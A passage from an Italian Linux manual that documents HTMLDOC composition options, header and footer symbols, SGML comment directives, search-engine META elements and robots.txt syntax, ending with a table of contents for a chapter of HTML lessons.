L'etichetta *`Output`* consente di accedere alla definizione del file o dei file che si vogliono ottenere dalla composizione. Il risultato della composizione può essere un file oppure una directory, selezionando FILE oppure DIRECTORY, rispettivamente. Queste due voci corrispondono alle opzioni '**`--outfile`** ***file***' e '**`--outdir`** ***directory***'. Il file o la directory in questione si indicano sotto, mentre più giù si specifica esattamente il tipo di composizione che si vuole generare: HTML, PS, PS2 e PDF (opzione '**`--format {ps1|ps2|pdf|html}`**').

Figura 66.199. Definizione del risultato della composizione che si vuole ottenere.

Il senso delle opzioni che appaiono nel resto della maschera è abbastanza intuitivo. Si può osservare il fatto che sia possibile cambiare il colore dello sfondo e anche utilizzare un'immagine per questo.

Se si indica una directory, si intende generare un gruppo di file nella directory stessa. Ciò può essere utile nella composizione in HTML, ma funziona nello stesso modo anche per le altre forme di composizione.

66.11.5 Formato e aspetto delle pagine

L'etichetta *Page* consente di accedere alla definizione delle pagine, nel caso in cui la composizione richiesta serva a generare un formato PostScript o PDF. È possibile indicare il formato della pagina (corrispondente all'opzione '**--size** *formato*'), se la stampa avviene su entrambi i lati del foglio (la voce DOUBLE-SIDED, ovvero l'opzione '**--duplex**'), i margini (le opzioni '**--left** *n*{**in**|**cm**|**mm**}', '**--right** *n*{**in**|**cm**|**mm**}', '**--top** *n*{**in**|**cm**|**mm**}', '**--bottom** *n*{**in**|**cm**|**mm**}'), l'intestazione e il piè pagina (opzioni '**--header** *xyz*' e '**--footer** *xyz*').

Figura 66.200. Definizione della pagina nel caso di composizione per la stampa.

La selezione di intestazione e piè di pagina consente di definire ciò che deve apparire a sinistra, al centro e a destra di queste.

66.11.6 Indice generale

L'etichetta *TOC* consente di accedere alla definizione dell'indice generale, che in particolare prevede l'indicazione del livello di dettaglio che deve avere e consente la specificazione di intestazione e piè pagina differenti dal resto del documento.

Figura 66.201. Definizione dell'indice generale e della numerazione delle sezioni.

Il livello di dettaglio dell'indice si definisce anche con l'opzione '**`--toclevels`** ***n***', l'intestazione e il piè di pagina si possono definire con le opzioni '**`--tocheader`** ***xyz***' e '**`--tocfooter`** ***xyz***'. Infine, nella maschera si può vedere la voce NUMBERED HEADINGS, corrispondente all'opzione '**`--numbered`**', con cui si ottiene la numerazione delle sezioni (gli elementi '**`H`*n***').

66.11.7 Carattere da stampa

Sempre nel caso di composizione per la stampa, l'etichetta *Fonts* consente di definire il tipo e la dimensione dei caratteri da usare per il corpo, le sezioni, l'intestazione e il piè pagina. Per la necessità di essere compatibili al massimo, sono disponibili solo i tipi Times, Helvetica e Courier. Si osservi che l'altezza delle righe viene espressa in rapporto rispetto all'altezza dei caratteri, dove per esempio '**`1.2`**' rappresenta il 120 %.

Figura 66.202. Definizione del carattere da stampa.

Le opzioni corrispondenti sono: '`--bodyfont` *carattere*', '`--fontsize` *n*' e '`--fontspacing` *n*' per definire il carattere, la dimensione in punti e l'altezza delle righe nel testo normale; '`--headfootfont` *carattere*' e '`--headfootsize` *n*', per indicare il tipo di carattere e la dimensione in punti dell'intestazione e del piè di pagina; '`--headingfont` *carattere*' per definire il tipo di carattere dei titoli delle sezioni.

66.11.8 Altre opzioni

L'ultima etichetta, `Options`, riguarda le opzioni rimanenti che non hanno trovato una collocazione migliore. In questo contesto viene definito in particolare il programma da utilizzare per la modifica dei file HTML del sorgente. Si può usare un programma per la modifica dei file di testo, oppure un applicativo più elaborato, specifico per i file HTML.

Figura 66.203. Definizione delle opzioni rimanenti.

66.11.9 Programmazione della composizione

HTMLDOC, quando funziona in modo interattivo, consente di conservare in un file l'impostazione, ovvero la configurazione di un documento, memorizzando tutte le opzioni selezionate. Quanto mostrato nelle figure di esempio, si tradurrebbe nel contenuto seguente:

```
#HTMLDOC 1.8.22
-t ps2 -f prova.ps --book --toclevels 3 --no-numbered ↩
↪--toctitle "Indice generale" --title ↩
↪--linkstyle underline --size A4 --left 3cm --right 3cm ↩
↪--top 3cm --bottom 3cm --header .t. --footer h.1 --nup 1 ↩
↪--tocheader .t. --tocfooter ..i --portrait ↩
↪--color --no-pscommands --no-xrxcomments --compression=1 ↩
↪--jpeg=0 --fontsize 11.0 --fontspacing 1.2 ↩
↪--headingfont Helvetica --bodyfont Times --headfootsize 11.0 ↩
↪--headfootfont Helvetica --charset iso-8859-1 --browserwidth 680
uno.html
due.html
tre.html
```

Da *htmldoc(1)* si intuisce che l'autore suggerisca di usare l'estensione '`.book`' per questi file; tuttavia HTMLDOC non propone alcunché.

L'osservazione di questi file consente anche di capire meglio l'uso delle opzioni della riga di comando. In questo caso, volendo usare l'eseguibile '**htmldoc**' in modo non interattivo per fare la stessa cosa, il comando avrebbe potuto essere quello seguente:

```
$ htmldoc -t ps2 -f prova.ps --book --toclevels 3 --no-numbered ↩
↪--toctitle "Indice generale" --title ↩
↪--linkstyle underline --size A4 --left 3cm --right 3cm ↩
↪--top 3cm --bottom 3cm --header .t.  --footer h.1 --nup 1 ↩
↪--tocheader .t.  --tocfooter ..i --portrait ↩
↪--color --no-pscommands --no-xrxcomments --compression=1 ↩
↪--jpeg=0 --fontsize 11.0 --fontspacing 1.2 ↩
↪--headingfont Helvetica --bodyfont Times --headfootsize 11.0 ↩
↪--headfootfont Helvetica --charset iso-8859-1 ↩
↪--browserwidth 680 uno.html due.html tre.html [Invio]
```

Eccezionalmente, l'eseguibile '**htmldoc**' può ricevere come argomento il nome di uno di questi file '`.book`', ottenendo un funzionamento interattivo, partendo dalla configurazione contenuta nel file stesso. Supponendo di avere salvato quella configurazione nel file '`prova.book`', basterebbe riavviare nel modo seguente:

```
$ htmldoc prova.book [Invio]
```

Tabella 66.205. Riepilogo delle opzioni più comuni.

Opzione	Descrizione
`--webpage`	Il sorgente non è realizzato secondo la struttura di un libro.

`--format {ps|ps1|ps2|ps3|pdf↩`
`↪|pdf11|pdf12|pdf13|pdf14|html}`
`-t {ps|ps1|ps2|ps3|pdf↩`
`↪|pdf11|pdf12|pdf13|pdf14|html}`
	Formato finale della composizione.

`--outfile` ***file*** `-f` ***file***	File da generare dalla composizione.
`--outdir` ***directory*** `-d` ***directory***	Directory in cui inserire i file della composizione.
`--top` ***n*** `[pt|in|cm|mm]`	Margine superiore secondo l'unità di misura specificata. Se non si specifica l'unità di misura, si fa riferimento a punti tipografici ('**pt**').
`--bottom` ***n*** `[pt|in|cm|mm]`	Margine inferiore secondo l'unità di misura specificata. Se non si specifica l'unità di misura, si fa riferimento a punti tipografici ('**pt**').
`--left` ***n*** `[pt|in|cm|mm]`	Margine sinistro secondo l'unità di misura specificata. Se non si specifica l'unità di misura, si fa riferimento a punti tipografici ('**pt**').

Opzione	Descrizione
`--right` ***n*** [`pt`|`in`|`cm`|`mm`]	Margine destro secondo l'unità di misura specificata. Se non si specifica l'unità di misura, si fa riferimento a punti tipografici ('**`pt`**').
`--size` {`letter`|`legal`|`a4`|`universal`}	Formato della carta in base a un nome.
`--size` ***larghezza***`x`***altezza*** [`pt`|`in`|`cm`|`mm`]	Formato della carta espresso esattamente. Se non si specifica l'unità di misura, si fa riferimento a punti tipografici ('**`pt`**').
`--duplex` `--no-duplex`	Richiede che il formato generato sia o non sia predisposto per la stampa su entrambi i lati del foglio.
`--header` ***xyz*** `--footer` ***xyz***	Intestazione e piè di pagina.
`--tocheader` ***xyz*** `--tocfooter` ***xyz***	Intestazione e piè di pagina dell'indice generale.
`--headfootfont` {`courier`|`times`↩ ↪|`helvetica`|`symbol`}	Carattere da usare nelle intestazioni e nei piè di pagina.
`--headfootsize` ***n***	Dimensione del carattere da usare nelle intestazioni e nei piè di pagina.
`--headingfont` {`courier`|`times`|`helvetica`↩ ↪|`symbol`}	Carattere da usare nei titoli delle sezioni.
`--bodyfont` {`courier`|`times`|`helvetica`|`symbol`} `--textfont` {`courier`|`times`|`helvetica`|`symbol`}	Carattere da usare nel corpo.
`--fontsize` ***n***	Dimensione del carattere normale in punti.
`--fontspacing` ***n***	Altezza della riga rispetto alla dimensione del carattere.
`--logoimage` ***file***	Definisce il file da usare come logo.
`--bodyimage` ***file***	Definisce il file da usare come sfondo di tutte le pagine.
`--titlefile` ***file*** `--titleimage` ***file***	File da usare per la copertina (può essere anche un'immagine).
`--book`	Specifica che il sorgente HTML è strutturato in modo appropriato alla composizione di un libro.
`--charset iso-8859-`***n***	Specifica la codifica da usare, secondo la codifica ISO 8859-***n***. Sono comunque disponibili anche altre codifiche espresse secondo parole chiave differenti.

Opzione	Descrizione
`--no-toc`	Non genera l'indice generale.
`--toclevels` ***n***	Definisce il numero di livelli dell'indice generale.
`--toctitle "`***titolo***`"`	Definisce il titolo dell'indice generale.
`--title` `--no-title`	Genera o non genera la copertina.
`--embedfonts` `--no-embedfonts`	Richiede o meno l'inclusione di tutte le informazioni sui caratteri tipografici usati per la composizione PostScript o PDF.
`--links` `--no-links`	Genera o non genera i riferimenti ipertestuali nella composizione in formato PDF.
`--linkstyle {plain|underline}`	Dichiara lo stile con cui evidenziare i riferimenti ipertestuali.
`--numbered` `--no-numbered`	Numera o non numera le sezioni del documento.
`--nup {1|2|4|6|9|16}`	Mette assieme più pagine virtuali per ogni pagina fisica.

La tabella 66.205 riassume le funzionalità delle opzioni principali di HTMLDOC quando viene usato in modo non interattivo. È importante tenere in considerazione alcune cose, che vengono descritte brevemente nel seguito.

È possibile gestire solo immagini in formato GIF, JPG e PNG; in particolare, quando si ottiene una conversione in HTML, si usano le stesse immagini di partenza.

La dimensione della carta può essere indicata per nome, oppure direttamente, fornendo larghezza e altezza, nella forma ***m***x***n***, dove ***m*** rappresenta la larghezza e ***n*** l'altezza. Si osservi che questi due numeri vanno completati con l'indicazione finale dell'unità di misura (come si vede nella tabella), una volta sola per entrambi i valori. Il formato speciale denominato '**`universal`**' si riferisce a un compromesso tra il formato A4 e il formato lettera (8,5 in × 11 in), in modo che possa essere stampato con entrambi i tipi di carta; in pratica si utilizza la larghezza del formato A4 e l'altezza del formato lettera.

Le opzioni che definiscono il contenuto delle intestazioni e dei piè di pagina, utilizzano una simbologia speciale, in cui tre lettere indicano rispettivamente la parte sinistra, quella centrale e quella destra della riga. La tabella 66.206 riepiloga questi simboli.

Tabella 66.206. Simboli usati negli argomenti delle opzioni che definiscono il contenuto delle intestazioni e dei piè di pagina.

Simbolo	Descrizione
`.`	Vuoto.
`:`	Numero della pagina del capitolo in relazione alla quantità totale di pagine del capitolo, secondo la forma: '***n_pagina / n_complessivo***'.
`/`	Numero della pagina del documento in relazione alla quantità totale di pagine del documento, secondo la forma: '***n_pagina / n_complessivo***'.
`t`	Titolo del documento.
`c`	Capitolo attuale.
`h`	Sezione attuale.
`d`	Data.
`T`	Orario.
`D`	Data e orario.
`l`	Logo.
`1`	Pagina del documento in numero arabo normale.
`a`	Pagina del documento in lettere minuscole.
`A`	Pagina del documento in lettere maiuscole.
`i`	Pagina del documento in numero romano minuscolo.
`I`	Pagina del documento in numero romano maiuscolo.
`C`	Pagina del capitolo in numero arabo normale.

66.11.10 Informazioni particolari nel sorgente

All'interno del sorgente HTML, alcune informazioni vengono trattate in modo speciale da HTMLDOC. Si tratta in special modo di commenti SGML che acquistano il significato di direttive, che spesso vanno a sovrapporsi a opzioni della riga di comando di HTMLDOC. La tabella 66.207 successiva descrive alcune di queste direttive.

Tabella 66.207. Alcune direttive in forma di commenti SGML.

<table>
<tr><th>Direttiva</th><th>Descrizione</th></tr>
<tr><td><code><-- MEDIA SIZE "<i>dimensione</i>" --></code></td><td>Dimensioni della pagina. Può trattarsi delle parole chiave 'letter', 'legal', 'universal', 'A4', oppure delle dimensioni espresse secondo la forma '<i>mxn</i> [pt|in|cm|mm]'.</td></tr>
<tr><td><code><-- MEDIA TOP <i>n</i>[pt|in|cm|mm]" --></code>
<code><-- MEDIA BOTTOM <i>n</i>[pt|in|cm|mm]" --></code>
<code><-- MEDIA LEFT <i>n</i>[pt|in|cm|mm]" --></code>
<code><-- MEDIA RIGHT <i>n</i>[pt|in|cm|mm]" --></code></td><td>Margine: superiore, inferiore, sinistro, destro.</td></tr>
<tr><td><code><-- MEDIA LANDSCAPE YES|NO --></code></td><td>Abilita o disabilita la composizione orizzontale.</td></tr>
<tr><td><code><-- MEDIA DUPLEX YES|NO --></code></td><td>Abilita o disabilita la composizione adatta per la stampa fronte-retro.</td></tr>
<tr><td><code><-- HEADER LEFT "<i>testo</i>" --></code>
<code><-- HEADER CENTER "<i>testo</i>" --></code>
<code><-- HEADER RIGHT "<i>testo</i>" --></code></td><td>Parte sinistra, centrale e destra del testo da mettere come intestazione della pagina attuale.</td></tr>
<tr><td><code><-- FOOTER LEFT "<i>testo</i>" --></code>
<code><-- FOOTER CENTER "<i>testo</i>" --></code>
<code><-- FOOTER RIGHT "<i>testo</i>" --></code></td><td>Parte sinistra, centrale e destra del testo da mettere alla base della pagina attuale.</td></tr>
<tr><td><code><-- HALF PAGE --></code></td><td>Salta alla prossima mezza pagina.</td></tr>
<tr><td><code><-- NEW PAGE --></code>
<code><-- BREAK PAGE --></code></td><td>Salta all'inizio della prossima pagina.</td></tr>
<tr><td><code><-- NEED <i>n_righe</i> --></code>
<code><-- NEED <i>n</i>{pt|in|cm|mm} --></code></td><td>Salta all'inizio della prossima pagina se non è disponibile lo spazio verticale richiesto.</td></tr>
<tr><td><code><-- NUMBER-UP {1|2|4|6|9|16} --></code></td><td>Mette assieme più pagine virtuali per ogni pagina fisica.</td></tr>
</table>

Per comporre il testo delle intestazioni e dei piè di pagina, si possono usare dei «simboli» speciali, che assomigliano a variabili. Si tratta precisamente di nomi prefissati da un dollaro ('**$**'), che vengono espansi in fase di composizione. La tabella 66.208 descrive alcuni di questi simboli.

Tabella 66.208. Alcuni simboli usati nelle intestazioni e nei piè di pagina, dichiarati attraverso le direttive speciali in forma di commenti SGML.

<table>
<tr><th>Simbolo</th><th>Descrizione</th></tr>
<tr><td>$$</td><td>Rappresenta un dollaro singolo.</td></tr>
<tr><td>$TITLE</td><td>Inserisce il titolo del documento.</td></tr>
<tr><td>$CHAPTER</td><td>Inserisce il titolo della sezione corrispondente al capitolo corrente.</td></tr>
<tr><td>$HEADING</td><td>Inserisce il titolo della sezione corrente.</td></tr>
<tr><td>$CHAPTERPAGE
$CHAPTERPAGE(1|i|I|a|A)</td><td>Inserisce il numero di pagina del capitolo, eventualmente secondo il formato stabilito dalla lettera tra parentesi: ‘1’ numero arabo normale; ‘i’ numero romano minuscolo; ‘I’ numero romano maiuscolo; ‘a’ sequenza alfabetica minuscola; ‘A’ sequenza alfabetica maiuscola.</td></tr>
<tr><td>$CHAPTERPAGES
$CHAPTERPAGES(1|i|I|a|A)</td><td>Inserisce il numero complessivo di pagine del capitolo, eventualmente secondo il formato stabilito dalla lettera tra parentesi: ‘1’ numero arabo normale; ‘i’ numero romano minuscolo; ‘I’ numero romano maiuscolo; ‘a’ sequenza alfabetica minuscola; ‘A’ sequenza alfabetica maiuscola.</td></tr>
<tr><td>$PAGE
$PAGE(1|i|I|a|A)</td><td>Inserisce il numero di pagina assoluto, eventualmente secondo il formato stabilito dalla lettera tra parentesi: ‘1’ numero arabo normale; ‘i’ numero romano minuscolo; ‘I’ numero romano maiuscolo; ‘a’ sequenza alfabetica minuscola; ‘A’ sequenza alfabetica maiuscola.</td></tr>
<tr><td>$PAGES</td><td>Inserisce il numero complessivo di pagine assoluto del documento, eventualmente secondo il formato stabilito dalla lettera tra parentesi: ‘1’ numero arabo normale; ‘i’ numero romano minuscolo; ‘I’ numero romano maiuscolo; ‘a’ sequenza alfabetica minuscola; ‘A’ sequenza alfabetica maiuscola.</td></tr>
<tr><td>$DATE</td><td>Inserisce la data.</td></tr>
<tr><td>$TIME</td><td>Inserisce l’ora.</td></tr>
<tr><td>$LOGOIMAGE</td><td>Inserisce soltanto il logo, ignorando il resto del testo.</td></tr>
</table>

HTMLDOC trae delle informazioni da alcuni elementi ‘**META**’ comuni. La tabella 66.209 descrive alcuni tipi riconosciuti e il significato loro attribuito.

Tabella 66.209. Elementi ‘**META**’ riconosciuti da HTMLDOC.

Sintassi	Descrizione
<META NAME="AUTHOR" CONTENT="***autore***">	Autore del documento.
<META NAME="COPYRIGHT" CONTENT="***copyright***">	Copyright del documento.
<META NAME="GENERATOR" CONTENT="***applicazione***">	Applicazione che ha generato il sorgente HTML.
<META NAME="KEYWORDS" CONTENT="***parole_chiave***">	Elenco delle parole chiave più importanti, che riconducono ai contenuti del documento.

Sintassi	Descrizione
`<META NAME="SUBJECT" CONTENT="`***genere***`">`	Genere a cui appartiene il documento.

66.12 Motori di ricerca e robot

Più passa il tempo e più sono i documenti che vengono pubblicati su Internet. I motori di ricerca, ovvero i servizi che gestiscono gli indici delle pubblicazioni, sono sempre più sommersi di lavoro. In questa situazione, ognuno applica una propria politica di filtro dei documenti che vengono sottoposti per l'inclusione nel loro indice. In generale, non basta realizzare un documento HTML corretto, occorre pensare anche ai motori di ricerca.

Il documento HTML, per poter essere preso in considerazione in modo corretto dai motori di ricerca, deve avere una serie di elementi '**`META`**' nell'intestazione, contenenti alcune informazioni salienti. Ciò permette la classificazione del documento e la creazione di indici chiari per l'utente di quel servizio. Tuttavia, il problema è che non tutti i motori di ricerca utilizzano le stesse informazioni nello stesso modo; così, ci si affida generalmente all'esperienza degli altri per la compilazione di tali elementi. Qui si raccolgono solo alcune indicazioni che, però, potrebbero essere superate facilmente con il passare del tempo.

66.12.1 Elementi META

Gli elementi '**`META`**' sono vuoti, nel senso che non delimitano alcun testo, e si collocano nell'intestazione del file HTML, ovvero nell'elemento '**`HEAD`**'. Nella maggior parte dei casi, l'elemento '**`META`**' si utilizza con l'attributo '**`name`**' e l'attributo '**`content`**', attraverso i quali si stabilisce un nome a cui viene assegnato un contenuto.

Il DTD dell'HTML non stabilisce quali siano i nomi che si possono usare per l'attributo '**`name`**' e da questo nascono tutti i problemi. In particolare, c'è da considerare che alle volte i nomi e i valori abbinati non fanno differenza tra maiuscole e minuscole, altre volte pare che la facciano.

L'esempio seguente mostra un caso tipico di utilizzo per un documento realizzato in italiano:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
    <META NAME="generator" CONTENT="ALtools">
    <META NAME="description" CONTENT="GNU/Linux e il software libero" LANG="it">
    <META NAME="description" CONTENT="GNU/Linux and free software"    LANG="en">
    <META NAME="keywords"
        CONTENT="GNU/Linux, Unix, software, software libero, free software">
    <META NAME="distribution" CONTENT="Global"                         LANG="en">
    <META NAME="rating" CONTENT="General"                              LANG="en">
    <META NAME="resource-type" CONTENT="document"                      LANG="en">
    <META NAME="classification" CONTENT="computers"                    LANG="en">
    <META NAME="revisit-after" CONTENT="7 days"                        LANG="en">
    <META NAME="ROBOTS" CONTENT="ALL">
    <META NAME="SPIDERS" CONTENT="ALL">
    <META NAME="author" CONTENT="Daniele Giacomini">
    <META NAME="copyright" CONTENT="© 1997-2001 Daniele Giacomini">
    <TITLE>Appunti Linux</TITLE>
    ...
</HEAD>
...
```

Il significato di queste informazioni dovrebbe essere intuitivo, salvo qualche caso, ma in particolare è necessario osservare un problema: alcune cose sono espresse attraverso sigle o parole chiave che hanno significato per la lingua inglese, mentre potrebbero essere attese parole o definizioni diverse nel caso di un documento in italiano. Nell'esempio si può osservare che l'elemento '**`HTML`**' possiede l'attributo '**`lang`**' a cui è assegnato il valore '**`it`**', allo scopo di indicare che tutto il documento è scritto in lingua italiana. Pertanto, per modificare questo assunto negli elementi '**`META`**' in cui il linguaggio può avere importanza, è stato aggiunto nuovamente l'attributo '**`lang`**' con il valore '**`en`**'. Può darsi che questa precauzione non serva a nulla, ma potrebbe essere importante in futuro.

Eventualmente, si potrebbe anche arrivare a duplicare alcune informazioni per diversi linguaggi. Per esempio, l'informazione denominata '**`description`**' viene fornita due volte: prima in italiano e poi in inglese.

L'elenco seguente descrive brevemente le informazioni più importanti che si possono dare in questo modo.

Valore assegnato	Descrizione
`description` `Description`	Si tratta di una descrizione breve del contenuto che potrebbe essere mostrato negli indici. A titolo indicativo, non dovrebbe superare le 25 parole, per essere certi che sia presa in considerazione integralmente.
`keywords` `Keywords`	Si tratta di un elenco di parole, o frasi brevi, separate da una virgola. Queste parole rappresentano gli argomenti principali del documento. Indicandole in questo modo, si cerca di farle risaltare (anche se nel documento vengono usate poco o non vengono usate affatto), per far sì che vengano prese in considerazione in modo particolare. A titolo indicativo, l'elenco non dovrebbe superare le 25 parole, per essere certi che questo venga preso in considerazione. Si intuisce che le prime parole di questo elenco devono essere le più importanti.

Valore assegnato	Descrizione
`distribution` `Distribution`	Probabilmente si riferisce all'estensione che ha o può avere la diffusione del documento. Le parole che possono essere assegnate sono '**`Global`**' e '**`Local`**', con i significati che si possono intuire.
`rating` `Rating`	Probabilmente si riferisce al tipo di pubblico a cui si rivolge il documento. In generale viene assegnata solo la parola chiave '**`General`**'; qualcuno suggerisce anche l'uso di, '**`Mature`**' e '**`Restricted`**', ma il significato in pratica non è chiaro.
`classification` `Classification`	Si tratta della classificazione del contenuto del documento. È difficile fare un elenco dei termini che si possono usare, perché dipendono dal motore di ricerca. Probabilmente si può trattare di: '**`business`**', '**`computers`**', '**`entertainment`**', '**`internet`**', '**`miscellaneous`**', '**`personal`**'.
`resource-type`	Si tratta della definizione che si dà al documento HTML. Da quanto si vede, si usa sempre solo la parola chiave '**`document`**' (solo in minuscolo).
`revisit-after`	Apparentemente, questa indicazione serve a richiedere al motore di ricerca di ripassare dopo un certo numero di giorni. Non è garantito il successo di questa richiesta, ma nulla vieta di provarci.
`ROBOTS`	Questa informazione serve a chiedere esplicitamente o a vietare la scansione e l'indicizzazione. In generale si assegna la parola chiave '**`ALL`**' perché venga preso in considerazione il documento a tutti gli effetti, assieme ai riferimenti a cui punta, mentre si usa la parola chiave '**`INDEX`**' per richiedere la sola indicizzazione e '**`FOLLOW`**' per seguire i riferimenti. Per evitare l'indicizzazione si usa '**`NOINDEX`**', mentre per evitare di seguire i riferimenti si usa '**`NOFOLLOW`**'. Qualcuno suggerisce di utilizzare la stringa '**`ALL,INDEX,FOLLOW`**' per ottenere il risultato migliore.
`SPIDERS`	Apparentemente funziona nello stesso modo di '**`ROBOTS`**' e probabilmente accetta gli stessi valori.

66.12.2 Filtro iniziale alla scansione dei robot

Nel momento in cui si è posto il problema dell'esistenza di tutta una serie di servizi di scansione della documentazione su Internet, si è pensato all'opportunità di bloccare, in certe circostanze, il lavoro di questi «robot». Gli amministratori dei servizi HTTP hanno la possibilità di realizzare il file '`/robots.txt`', contenente l'indicazione dei percorsi che non devono essere scanditi.

Anche se si tratta di un compito che riguarda gli amministratori, è opportuno sapere leggere le istruzioni di questo file, nel caso esista, per sapere se il proprio documento può essere raggiunto o meno dai motori di ricerca e da altri servizi simili.

Il file in questione, collocato all'inizio della gerarchia del servizio HTTP a cui si riferisce, è un file di testo normale, in cui si indicano dei commenti, preceduti dal simbolo '**`#`**', e una serie di campi nella forma:

campo **:** ***valore***

Le informazioni di questo file sono suddivise in base al nome del programma robot che si vuole filtrare:

```
User-agent: nome
```

Uno o più campi del genere, posti di seguito, iniziano la definizione del filtro riferito ai programmi rispettivi. Se al posto del nome si indica un asterisco, si intendono simultaneamente tutti i programmi che non siano stati presi in considerazione diversamente.

```
Disallow: [percorso]
```

Il campo '**Disallow**' serve a specificare un percorso da escludere dalla scansione dei robot presi in considerazione.[8]

```
# http://www.brot.dg/robots.txt
User-agent: *
Disallow /tmp/
Disallow /cgi-bin/
Disallow /prova.html
```

Supponendo che l'esempio si riferisca al file '`http://www.brot.dg/robots.txt`', si mostra il caso in cui si vogliono escludere tutti i robot dal contenuto di '`http://www.brot.dg/tmp/`', '`http://www.brot.dg/cgi-bin/`' e dal file '`http://www.brot.dg/prova.html`'.

```
# http://www.brot.dg/robots.txt
User-agent: *
Disallow
```

In questo caso non si esclude alcunché.

```
# http://www.brot.dg/robots.txt
User-agent: *
Disallow /
```

Questo nuovo esempio esclude l'accesso a tutto il servizio.

66.13 Riferimenti

- T. Berners-Lee, R. Fielding, U.C. Irvine, L. Masinter, *RFC 2396: Uniform Resource Identifiers (URI): General Syntax*, 1998

  ⟨*http://www.ietf.org/rfc/rfc2396.txt* ⟩

- International ISBN agency, *The ISBN Users' Manual*

  ⟨*http://www.isbn.org/standards/home/isbn/International/ISBNmanual.asp* ⟩

- W3C, *MarkUp Validation Service*

  ⟨*http://validator.w3.org/* ⟩

- W3C, *Link Checker*
  ⟨*http://validator.w3.org/checklink* ⟩
- *ISO/IEC 15445:2000*
  ⟨*http://www.scss.tcd.ie/misc/15445/15445.html* ⟩
- *Character sets*
  ⟨*http://www.iana.org/assignments/character-sets* ⟩
- *ISO/IEC 15445:2000*
  ⟨*http://www.scss.tcd.ie/misc/15445/15445.html* ⟩
- W3C, *Technical Reports and Publications*
  ⟨*http://www.w3.org/TR/* ⟩
  - *HTML 4.01 Specification*
    ⟨*http://www.w3.org/TR/html401/* ⟩
  - *XHTML 1.0: The Extensible HyperText Markup Language*
    ⟨*http://www.w3.org/TR/xhtml1/* ⟩
  - *Cascading Style Sheets, level 1*
    Cascading Style Sheets, level 2
    ⟨*http://www.w3.org/TR/REC-CSS1* ⟩
    ⟨*http://www.w3.org/TR/CSS2/* ⟩
- FunctionX, *JavaScript tutorial*
  ⟨*http://www.functionx.com/javascript/* ⟩
- Netscape, *Client-Side JavaScript Guide*
  ⟨*http://docs.sun.com/source/816-6409-10/* ⟩
- Michele Sciabarrà, *Linux e programmazione web*, McGraw-Hill, 2001, ISBN 88-386-4177-3

  In particolare il capitolo *JavaScript*.
- Jan Kärrman, *Using html2ps*
- Irène Vatton, *Amaya documentation*
  ⟨*http://www.w3.org/Amaya/User/* ⟩
- *Amaya user manual*
  ⟨*http://www.w3.org/Amaya/User/doc/Manual.html* ⟩
- *TheFreeSite.com*
  ⟨*http://www.thefreesite.com* ⟩

[1] Qui viene usato il termine «directory», ma in pratica potrebbe anche non essere esattamente una directory vera e propria.

[2] Generalmente si preferisce il formato JPG, perché originariamente il formato PNG era accettato solo da alcuni programmi di navigazione, mentre il formato GIF era brevettato.

[3] Per motivi di compatibilità con i vecchi navigatori, i marcatori di questo genere vanno indicati avendo l'accortezza di lasciare uno spazio prima della barra finale; per esempio: '`<br />`'.

[4] In generale, il buon senso dovrebbe essere sufficiente per intendere quando una caratteristica viene ereditata e quando questo non può succedere.

[5] **HTML2ps** GNU GPL

[6] **Amaya** software libero con licenza speciale

[7] **HTMLDOC** GNU GPL

[8] Non è possibile indicare dei metacaratteri (caratteri jolly) nel percorso; d'altra parte ciò non avrebbe significato, dal momento che si intendono tutti i percorsi che iniziano come indicato e proseguono poi in qualunque modo.

Capitolo 67

HTML: lezioni pratiche e verifiche

67.1 Struttura generale e intestazione 3866

67.1.1 File «struttura-01.html» 3867
67.1.2 File «struttura-02.html» 3869
67.1.3 File «struttura-03.html» 3870
67.1.4 File «struttura-04.html» 3871

67.2 Caratteri speciali 3873

67.2.1 File «macro-01.html» 3880
67.2.2 File «macro-02.html» 3881
67.2.3 Verifica sulla struttura generale e sull'uso delle macro 3882

67.3 Contenuto del testo lineare 3882

67.3.1 File «testo-lineare-01.html» 3883
67.3.2 File «testo-lineare-02.html» 3884
67.3.3 Verifica sull'uso degli elementi interni al testo lineare 3884
67.3.4 Seconda verifica sull'uso degli elementi interni al testo lineare 3885

67.4 Testo preformattato 3886

67.4.1 File «testo-preformattato-01.html» 3886
67.4.2 File «testo-preformattato-02.html» 3887
67.4.3 File «testo-preformattato-03.html» 3889
67.4.4 Verifica sull'uso degli elementi per il testo preformattato 3890

67.5 Elenchi 3891

67.5.1 File «elenchi-01.html» 3893
67.5.2 Verifica sull'uso degli elenchi 3896

67.6 Tabelle 3897

67.6.1 File «tabelle-01.html» 3899
67.6.2 File «tabelle-02.html» 3901
67.6.3 Verifica sull'uso di tabelle elementari 3901

67.7 Tabelle complesse 3902

67.7.1 File «tabelle-03.html» 3903
67.7.2 Verifica sull'uso di tabelle complesse 3904

67.8 Riferimenti ipertestuali 3905

67.8.1 File «riferimenti-01.html» 3906
67.8.2 Verifica sull'uso dei riferimenti ipertestuali 3908

67.9 Citazioni 3909

67.9.1 File «citazioni-01.html» 3909

67.10 Inserzione di oggetti 3910

67.10.1 File «oggetti-01.html» 3911
67.10.2 File «oggetti-02.html» 3913
67.10.3 Verifica sull’inserzione di oggetti 3914

67.11 Inserzione di immagini 3915

67.11.1 File «immagini-01.html» 3915
67.11.2 File «immagini-02.html» 3916
67.11.3 Verifica sull’inserzione di immagini 3918

67.12 Fogli di stile CSS 3918

67.12.1 File «stile-01.html» 3920
67.12.2 File «stile-02.html» e «stile-02.css» 3921

67.13 Linguaggio CSS 3922

67.13.1 File «linguaggio-css-01.html» 3925
67.13.2 Elementi «DIV» e «SPAN» 3927

67.14 Controllo del carattere 3928

67.14.1 File «caratteri-css-01.html» 3929
67.14.2 File «caratteri-css-02.html» 3931
67.14.3 Verifica sull’uso delle proprietà riferite ai caratteri 3931

67.15 Colore e sfondo 3932

67.15.1 File «colori-css-01.html» 3933
67.15.2 File «colori-css-02.html» 3935
67.15.3 File «sfondo-css-01.html» 3935
67.15.4 File «sfondo-css-02.html» 3936
67.15.5 Verifica sull’uso delle proprietà riferite ai colori 3936

67.16 Testo 3936

67.16.1 File «testo-css-01.html» 3938
67.16.2 Verifica sull’uso delle proprietà riferite al testo 3939

67.17 Blocchi 3940

67.17.1 File «blocchi-css-01.html» 3942
67.17.2 File «blocchi-css-02.html» 3944
67.17.3 File «blocchi-css-03.html» 3946
67.17.4 Verifica sull’uso delle proprietà riferite ai blocchi 3948

67.18 Contesto dinamico 3950

67.18.1 File «dinamica-css-01.html» 3950

